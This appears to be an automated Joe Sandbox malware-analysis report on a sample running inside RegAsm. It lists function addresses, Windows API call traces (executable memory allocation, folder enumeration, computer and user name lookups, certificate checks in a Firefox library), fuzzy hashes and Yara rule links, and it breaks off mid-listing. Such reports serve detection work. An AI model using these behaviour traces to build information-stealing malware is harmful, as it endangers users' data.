Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,00F82970), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: bac0653a976e1e9e11d5a9f2b293475c90711b6d1192b4d55a4428dc1681d490
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: bac0653a976e1e9e11d5a9f2b293475c90711b6d1192b4d55a4428dc1681d490
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C876C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C876CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C876D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C876D26

Part of subcall function 6C87CA10: malloc.MOZGLUE(?), ref: 6C87CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C876D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C876D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C876D73
free.MOZGLUE(00000000), ref: 6C876D80
CertGetNameStringW.CRYPT32 ref: 6C876DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C876DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C876DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C876DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C876E10
CryptMsgClose.CRYPT32(00000000), ref: 6C876E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C876E34
CreateFileW.KERNEL32 ref: 6C876EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C876F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C876F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C87709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C877103
free.MOZGLUE(00000000), ref: 6C877153
CloseHandle.KERNEL32(?), ref: 6C877176
__Init_thread_footer.LIBCMT ref: 6C877209
__Init_thread_footer.LIBCMT ref: 6C87723A
__Init_thread_footer.LIBCMT ref: 6C87726B
__Init_thread_footer.LIBCMT ref: 6C87729C
__Init_thread_footer.LIBCMT ref: 6C8772DC
__Init_thread_footer.LIBCMT ref: 6C87730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8773C2
VerSetConditionMask.NTDLL ref: 6C8773F3
VerSetConditionMask.NTDLL ref: 6C8773FF
VerSetConditionMask.NTDLL ref: 6C877406
VerSetConditionMask.NTDLL ref: 6C87740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C87741A
moz_xmalloc.MOZGLUE(?), ref: 6C87755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C877568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C877585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C877598
free.MOZGLUE(00000000), ref: 6C8775AC

Part of subcall function 6C89AB89: EnterCriticalSection.KERNEL32(6C8EE370,?,?,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284), ref: 6C89AB94
Part of subcall function 6C89AB89: LeaveCriticalSection.KERNEL32(6C8EE370,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C89ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C8772C8
SHA256, xrefs: 6C876EC0
wintrust.dll, xrefs: 6C8772CD
(, xrefs: 6C87768A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 2d5337e945c6458ce63f1b7ec17f2ba77b87fb3eb768d121ac9d9c141c91e84e
Instruction ID: e81e3ff0f5fdaecf41a9072d60bc6555e2c05891e727373b2ea8dd6f751f665f
Opcode Fuzzy Hash: 2d5337e945c6458ce63f1b7ec17f2ba77b87fb3eb768d121ac9d9c141c91e84e
Instruction Fuzzy Hash: 8652BB71A003149FEB71DF64CD44BAE77B8EB5A708F1049A9E50997640EB70AF84CFA1

Function 6C8764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C8764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C8764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C876505
